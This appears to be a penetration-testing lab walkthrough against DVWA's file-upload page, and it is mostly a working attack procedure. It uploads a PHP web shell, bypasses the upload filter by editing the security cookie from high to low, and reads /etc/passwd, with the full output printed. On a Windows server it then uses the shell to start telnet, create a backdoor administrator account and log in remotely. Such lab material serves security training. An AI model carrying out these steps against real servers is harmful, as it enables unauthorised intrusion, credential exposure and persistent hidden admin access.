Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
1. Navigate to upload page.
http://192.168.1.2/dvwa/vulnerabilities/upload/
2. Backtrack /pentest/backdoors/web/webshells/php
Upload
simple-backdoor.php
http://192.168.1.2/dvwa/hackable/uploads/simple-backdoor.php?cmd=cat+/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
Below php-backdoor.php is picked up by AVG as Virus PHP/Zonie.A
http://192.168.1.2/dvwa/hackable/uploads/php-backdoor.php
——————————————————-
UPDATE – Hitting a Windows web server, adding an admin account
and turning on telnet.
——————————————————-
http://IP-Address/vulnerabilities/upload/
NOTE if your image will not uploaded.
After trying to upload simple-backdoor.php If you recive somthing like this Your image was not uploaded.
1. Open up Tamper Data (Firefox plugin)
2. Start Tamper
3. Re- upload simple-backdoor.php
4. Tamper should popup press Tamper
5. look at Cookie
6. PHPSESSID=m648nrbqvee10bsjrjfp2nplj6; security=high
7. Change security to low
8. PHPSESSID=m648nrbqvee10bsjrjfp2nplj6; security=low
9. then press OK close Tamper
../../hackable/uploads/simple-backdoor.php succesfully uploaded!
———————————————–
Turning on telnet on Windows XP
http://IP-Address/hackable/uploads/simple-backdoor.php?cmd=net start telnet
The Telnet service is starting.
The Telnet service was started successfully.
Nmap to show telnet service now on
root@bt:~# nmap -p 23 IP-Address
Starting Nmap 6.01 ( http://nmap.org ) at 1478-09-24 16:12 GMT
Nmap scan report for IP-Address
Host is up (0.00049s latency).
PORT STATE SERVICE
23/tcp open telnet
MAC Address: 01:02:03:04:05:06 (Micky Computer Systems)
———————————————–
Turning off telnet on Windows XP
http://IP-Address/hackable/uploads/simple-backdoor.php?cmd=net stop telnet
The Telnet service is stopping.
The Telnet service was stopped successfully.
Nmap to show service now off.
root@bt:~# nmap -p 23 IP-Address
Starting Nmap 6.01 ( http://nmap.org ) at 1478-09-24 16:11 GMT
Nmap scan report for IP-Address
Host is up (0.00079s latency).
PORT STATE SERVICE
23/tcp closed telnet
MAC Address: 01:02:03:04:05:06 (Micky Computer Systems)
———————————————–
Adding a new user with username = 123abc password = 123abc
http://IP-Address/hackable/uploads/simple-backdoor.php?cmd=net user 123abc 123abc /add
The command completed successfully.
———————————————–
Adding user 123abc to local administrators group
http://IP-Address/hackable/uploads/simple-backdoor.php?cmd=net localgroup administrators 123abc /add
The command completed successfully.
———————————————–
Adding user 123abc to telnet allowed group
http://IP-Address/hackable/uploads/simple-backdoor.php?cmd=net localgroup TelnetClients 123abc /add
The command completed successfully.
———————————————–
Testing telnet access from backtrack
root@bt:~# telnet IP-Address
Trying IP-Address…
Connected to IP-Address.
Escape character is ‘^]’.
Welcome to Microsoft Telnet Service
login: 123abc
password: 123abc
*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : IP-Address
Subnet Mask . . . . . . . . . . . : Subnet
Default Gateway . . . . . . . . . : Default Gateway
myexploit 